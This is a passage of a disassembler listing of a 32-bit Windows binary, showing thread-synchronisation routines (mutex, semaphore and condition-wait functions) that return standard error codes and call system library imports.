CODE XREF: sub_433C70+12j pop esi retn sub_433C70 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433CE0 proc near ; CODE XREF: sub_4020D1j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_401555 add esp, 4 cmp esi, eax jl loc_433D85 push edi call sub_401442 add esp, 4 cmp esi, eax jg short loc_433D85 cmp esi, 0FFFFFFF1h jle short loc_433D20 cmp esi, 0FFFFFFFEh jge short loc_433D20 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_433D32 ; --------------------------------------------------------------------------- loc_433D20: ; CODE XREF: sub_433CE0+2Fj ; sub_433CE0+34j cmp esi, 0Fh jge short loc_433D32 cmp esi, 2 jle short loc_433D32 mov [esp+8+arg_8], 2 loc_433D32: ; CODE XREF: sub_433CE0+3Ej ; sub_433CE0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402248 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_433D7E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx nop call near ptr 2740801h test eax, eax jnz short loc_433D72 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D72: ; CODE XREF: sub_433CE0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_433D7E: ; CODE XREF: sub_433CE0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_433D85: ; CODE XREF: sub_433CE0+19j ; sub_433CE0+2Aj pop edi mov eax, 16h pop esi retn sub_433CE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433DC0 proc near ; CODE XREF: sub_4021B2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_433DF9 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_433DF4 mov eax, [esp+4+arg_8] test eax, eax jz short loc_433DF4 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_433DF4: ; CODE XREF: sub_433DC0+1Bj ; sub_433DC0+23j mov eax, 16h loc_433DF9: ; CODE XREF: sub_433DC0+12j pop esi retn sub_433DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E10 proc near ; CODE XREF: sub_401442j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E23 cmp eax, 2 jg short loc_433E23 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_433E23: ; CODE XREF: sub_433E10+6j ; sub_433E10+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433E50 proc near ; CODE XREF: sub_401555j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_433E63 cmp eax, 2 jg short loc_433E63 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_433E63: ; CODE XREF: sub_433E50+6j ; sub_433E50+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_433E50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433E90: ; CODE XREF: ___:00401ADCj push esi mov esi, [esp+8] test esi, esi jz short loc_433ED5 call near ptr 27407CAh nop cmp esi, eax jz short loc_433ED5 push esi push 0 push 200h nop call near ptr 2700000h test eax, eax jnz short loc_433ED5 nop call near ptr 27C08B7h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433ED5: ; CODE XREF: ___:00433E97j ; ___:00433EA1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_433EEE call near ptr 77C1F2BCh nop mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433EEE: ; CODE XREF: ___:00433EDBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F20: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] test esi, esi jz short loc_433F65 nop call near ptr 27407CAh cmp esi, eax jz short loc_433F65 push esi push 0 push 400h nop call near ptr 2700000h test eax, eax jnz short loc_433F65 nop call near ptr 27C08B7h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433F65: ; CODE XREF: ___:00433F27j ; ___:00433F31j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433F90: ; CODE XREF: ___:00401B5Ej push 0 call near ptr 2831CE8h nop xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433FB0 proc near ; CODE XREF: sub_401C8Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_433FCF mov edi, 1 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_433FCF: ; CODE XREF: sub_433FB0+Aj push 4 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433FE7 mov edi, 0Ch loc_433FE7: ; CODE XREF: sub_433FB0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 274020Bh test eax, eax mov [esi], eax jnz short loc_434014 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434014: ; CODE XREF: sub_433FB0+4Fj test edi, edi jz short loc_434026 nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434026: ; CODE XREF: sub_433FB0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_433FB0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434070 proc near ; CODE XREF: sub_401690j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_434095 mov esi, [edi] test esi, esi jz short loc_434095 mov dword ptr [edi], 0 mov eax, [esi] push eax nop call near ptr 284070Bh test eax, eax jnz short loc_4340A7 mov [edi], esi loc_434095: ; CODE XREF: sub_434070+8j ; sub_434070+Ej call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4340A7: ; CODE XREF: sub_434070+21j push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi retn sub_434070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4340E0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_434113 mov eax, [eax] test eax, eax jz short loc_434113 mov eax, [eax] push 0 push eax call near ptr 2770836h nop cmp eax, 102h jnz short loc_434125 mov esi, 0Bh nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434113: ; CODE XREF: sub_4340E0+7j ; sub_4340E0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_434125: ; CODE XREF: sub_4340E0+1Fj xor eax, eax pop esi retn sub_4340E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434150 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_43417D mov eax, [eax] test eax, eax jz short loc_43417D mov eax, [eax] push eax call sub_40164A ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0B146E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_43417D: ; CODE XREF: sub_434150+7j ; sub_434150+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_434150 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4341C0 proc near ; CODE XREF: sub_4018A7j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_4341E3 mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4341E3: ; CODE XREF: sub_4341C0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_4341F2 or ebx, 0FFFFFFFFh jmp short loc_434251 ; --------------------------------------------------------------------------- loc_4341F2: ; CODE XREF: sub_4341C0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_434251 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_434251 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_434251 dec ebx loc_434251: ; CODE XREF: sub_4341C0+30j ; sub_4341C0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D84 sub_4341C0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 7EB04FE8h, 30899077h, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4342D0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4342EF mov eax, [eax] test eax, eax jz short loc_4342EF mov eax, [eax] push 0 push 1 push eax nop call near ptr 2740000h test eax, eax jnz short loc_4342FF loc_4342EF: ; CODE XREF: sub_4342D0+6j ; sub_4342D0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4342FF: ; CODE XREF: sub_4342D0+1Dj xor eax, eax retn sub_4342D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434320 proc near ; CODE XREF: sub_402068j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_434346 mov eax, [eax] test eax, eax jz short loc_434346 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_434346 mov eax, [eax] push 0 push ecx push eax call near ptr 2740000h nop test eax, eax jnz short loc_434356 loc_434346: ; CODE XREF: sub_434320+6j ; sub_434320+Cj ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_434356: ; CODE XREF: sub_434320+24j xor eax, eax retn sub_434320 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434370: ; CODE XREF: ___:0040143Dj mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4343BD mov esi, [eax] test esi, esi jz short loc_4343BD mov edi, [esp+10h] test edi, edi jz short loc_4343BD mov eax, [esi] push 0 push eax nop call near ptr 2770836h cmp eax, 102h jnz short loc_4343A1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4343A1: ; CODE XREF: ___:00434398j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2740000h mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4343BD: ; CODE XREF: ___:00434378j ; ___:0043437Ej ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4343F0: ; CODE XREF: ___:0040222Fj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434410: ; CODE XREF: ___:00402031j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_434430: ; CODE XREF: ___:00401CC6j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434450 proc near ; CODE XREF: sub_4019A1j arg_0 = dword ptr 4 push esi push offset dword_510960 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_434484 push esi push ecx call sub_402211 add esp, 8 mov esi, eax push offset dword_510960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_434484: ; CODE XREF: sub_434450+17j test eax, eax jnz short loc_43448D mov esi, 16h loc_43448D: ; CODE XREF: sub_434450+36j push offset dword_510960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_434450 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4344C0 proc near ; CODE XREF: sub_402211j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4344DE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4344DE: ; CODE XREF: sub_4344C0+11j lea eax, [esp+14h+var_4] push eax call sub_401C3A mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_434519 mov [esp+14h+var_4], 1 loc_4344FB: ; CODE XREF: sub_4344C0+5Ej ; sub_4344C0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434530 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434519: ; CODE XREF: sub_4344C0+31j cmp [esp+14h+var_4], 1 jle short loc_4344FB cmp ebx, 1 jnz short loc_4344FB pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_434530: ; CODE XREF: sub_4344C0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43454D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43454D: ; CODE XREF: sub_4344C0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A1E mov edi, eax add esp, 4 test edi, edi jnz short loc_434583 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_4021BC mov edi, eax add esp, 8 test edi, edi jnz short loc_434583 mov dword ptr [esi], 3 loc_434583: ; CODE XREF: sub_4344C0+9Ej ; sub_4344C0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_43459F mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43459F: ; CODE XREF: sub_4344C0+D2j push esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4344C0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_434600: ; CODE XREF: ___:00401109j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_4346A5 mov esi, [edi] test esi, esi jz loc_4346A5 cmp esi, 0FFFFFFFFh jz short loc_434668 cmp dword ptr [esi], 3 jnz short loc_43464D lea eax, [esi+4] push eax call sub_402252 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_43469F loc_434637: ; CODE XREF: ___:0043465Bj push esi mov dword ptr [edi], 0 nop call near ptr 77C2C21Bh add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43464D: ; CODE XREF: ___:00434623j push 1 push 0 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 1 jz short loc_434637 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_434668: ; CODE XREF: ___:0043461Ej push offset dword_510960 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_43468F push offset dword_510960 mov dword ptr [edi], 0 call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43468F: ; CODE XREF: ___:00434676j push offset dword_510960 mov ebx, 10h nop call near ptr 7C9010EDh loc_43469F: ; CODE XREF: ___:00434635j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4346A5: ; CODE XREF: ___:0043460Bj ; ___:00434615j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4346E0: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] test esi, esi jz short loc_434741 mov eax, [esi] test eax, eax jz short loc_434741 cmp eax, 0FFFFFFFFh jnz short loc_434701 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434746 loc_434701: ; CODE XREF: ___:004346F2j mov esi, [esi] push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 2 jnz short loc_434723 loc_434713: ; CODE XREF: ___:00434721j push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange cmp eax, 2 jz short loc_434713 loc_434723: ; CODE XREF: ___:00434711j mov eax, [esi] cmp eax, 2 jnz short loc_43472E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_43472E: ; CODE XREF: ___:00434728j cmp eax, 3 jnz short loc_434741 add esi, 4 push esi call sub_402248 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434741: ; CODE XREF: ___:004346E7j ; ___:004346EDj ... mov eax, 16h loc_434746: ; CODE XREF: ___:004346FFj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434770: ; CODE XREF: ___:00401AB9j mov eax, [esp+4] push esi test eax, eax jz short loc_4347B1 mov esi, [eax] test esi, esi jz short loc_4347B1 cmp esi, 0FFFFFFFFh jnz short loc_43478B loc_434784: ; CODE XREF: ___:00434797j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_43478B: ; CODE XREF: ___:00434782j push 2 push 1 push esi call dword_5103D8 ; InterlockedCompareExchange dec eax jz short loc_434784 dec eax jz short loc_4347AD dec eax jnz short loc_4347B1 add esi, 4 push esi call sub_4010C3 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_4347AD: ; CODE XREF: ___:0043479Aj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4347B1: ; CODE XREF: ___:00434777j ; ___:0043477Dj ... mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4347E0: ; CODE XREF: ___:00401942j push esi mov esi, [esp+8] test esi, esi jz short loc_434830 mov eax, [esi] test eax, eax jz short loc_434830 cmp eax, 0FFFFFFFFh jnz short loc_434801 push esi call sub_4019A1 add esp, 4 test eax, eax jnz short loc_434835 loc_434801: ; CODE XREF: ___:004347F2j mov esi, [esi] push 1 push 2 push esi call dword_5103D8 ; InterlockedCompareExchange dec eax jz short loc_43482C dec eax jz short loc_434825 dec eax jnz short loc_434830 add esi, 4 push esi call sub_401785 add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_434825: ; CODE XREF: ___:00434812j mov eax, 10h pop esi retn ; --------------------------------------------------------------------------- loc_43482C: ; CODE XREF: ___:0043480Fj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_434830: ; CODE XREF: ___:004347E7j ; ___:004347EDj ... mov eax, 16h loc_434835: ; CODE XREF: ___:004347FFj pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_434860: ; CODE XREF: ___:00401244j push esi mov esi, [esp+8] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43488C mov eax, [esi+20h] mov ecx, 1 cmp eax, ecx jnz short loc_434887 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_434887: ; CODE XREF: ___:0043487Ej xor eax, eax mov [esi+20h], ecx loc_43488C: ; CODE XREF: ___:00434872j pop esi retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4348A0 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401762 add esp, 8 test eax, eax jnz short loc_43492C call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_4348C4 mov eax, 2 pop esi retn ; --------------------------------------------------------------------------- loc_4348C4: ; CODE XREF: sub_4348A0+1Bj push edi push esi push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_4348DD mov edi, 24h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348DD: ; CODE XREF: sub_4348A0+31j cmp dword ptr [esi+20h], 1 jnz short loc_4348ED mov edi, 16h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4348ED: ; CODE XREF: sub_4348A0+41j mov eax, [esi+4] push eax call sub_40164A ; --------------------------------------------------------------------------- dw 0F88Bh dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh dd 0C3EDE890h, 0C085022Fh, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h dd 0C35E5FC7h, 3BFh, 5FC78B00h ; --------------------------------------------------------------------------- loc_43492C: ; CODE XREF: sub_4348A0+12j pop esi retn sub_4348A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434960 proc near ; CODE XREF: sub_401609j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 10h push 1 xor edi, edi nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_434985 mov ecx, [esp+8+arg_0] pop edi mov eax, 0Ch mov [ecx], esi pop esi retn ; --------------------------------------------------------------------------- loc_434985: ; CODE XREF: sub_434960+15j call near ptr 273085Ah nop cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_4349AE push esi mov edi, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+0Ch+arg_0] add esp, 4 xor eax, eax mov [edx], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349AE: ; CODE XREF: sub_434960+30j mov eax, [esp+8+arg_4] test eax, eax jz short loc_4349CB mov [esi+4], eax mov eax, [esp+8+arg_0] mov dword ptr [esi+8], 0FFFFFFFFh mov [eax], esi mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4349CB: ; CODE XREF: sub_434960+54j mov ecx, [esp+8+arg_0] mov eax, edi pop edi mov [ecx], esi pop esi retn sub_434960 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434A00 proc near ; CODE XREF: sub_401AB4j arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp xor ebp, ebp cmp ebx, ebp jz loc_434A90 cmp [ebx+0Ch], ebp jz short loc_434A6C cmp [ebx+4], ebp jz short loc_434A6C lea eax, [ebx+8] push eax call sub_402248 add esp, 4 test eax, eax jnz short loc_434A6C push esi mov esi, [ebx+0Ch] cmp esi, ebp jz short loc_434A5F push edi loc_434A33: ; CODE XREF: sub_434A00+5Cj push esi call sub_402248 add esp, 4 test eax, eax jnz short loc_434A5A mov edi, [esi+10h] push esi mov [esi+8], ebp mov [esi+10h], ebp call sub_4010C3 push esi call sub_40105F add esp, 8 mov esi, edi loc_434A5A: ; CODE XREF: sub_434A00+3Ej cmp esi, ebp jnz short loc_434A33 pop edi loc_434A5F: ; CODE XREF: sub_434A00+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_434A6C: ; CODE XREF: sub_434A00+13j ; sub_434A00+18j ... mov eax, [ebx] push eax nop call near ptr 2730193h cmp [ebx+4], ebp jz short loc_434A86 lea ecx, [ebx+8] push ecx call sub_402252 add esp, 4 loc_434A86: ; CODE XREF: sub_434A00+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_434A90: ; CODE XREF: sub_434A00+Aj pop ebp xor eax, eax pop ebx retn sub_434A00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434AD0 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_5103C4 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_434AF4 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_434B03 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_434AF4: ; CODE XREF: sub_434AD0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_434B03 mov eax, ebx loc_434B03: ; CODE XREF: sub_434AD0+1Aj ; sub_434AD0+2Fj push edi xor edi, edi test esi, esi jz short loc_434B65 test eax, eax jz short loc_434B52 mov ecx, [esi+4] test ecx, ecx jz short loc_434B52 test ebx, ebx jz short loc_434B52 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_434B3D loc_434B27: ; CODE XREF: sub_434AD0+65j cmp [ecx+8], esi jz short loc_434B39 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_434B27 jmp short loc_434B3D ; --------------------------------------------------------------------------- loc_434B39: ; CODE XREF: sub_434AD0+5Aj test ecx, ecx jnz short loc_434B52 loc_434B3D: ; CODE XREF: sub_434AD0+55j ; sub_434AD0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DDE mov edi, eax add esp, 0Ch test edi, edi jnz short loc_434B65 loc_434B52: ; CODE XREF: sub_434AD0+3Cj ; sub_434AD0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 2750488h test eax, eax jnz short loc_434B65 mov edi, 0Bh loc_434B65: ; CODE XREF: sub_434AD0+38j ; sub_434AD0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_434AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434BA0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27C08B7h mov esi, eax call sub_438250 sub_434BA0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 3FE89051h, 56022EC0h, 0E890D88Bh dd 22FB438h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_434BF0 proc near ; CODE XREF: sub_401A69j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, 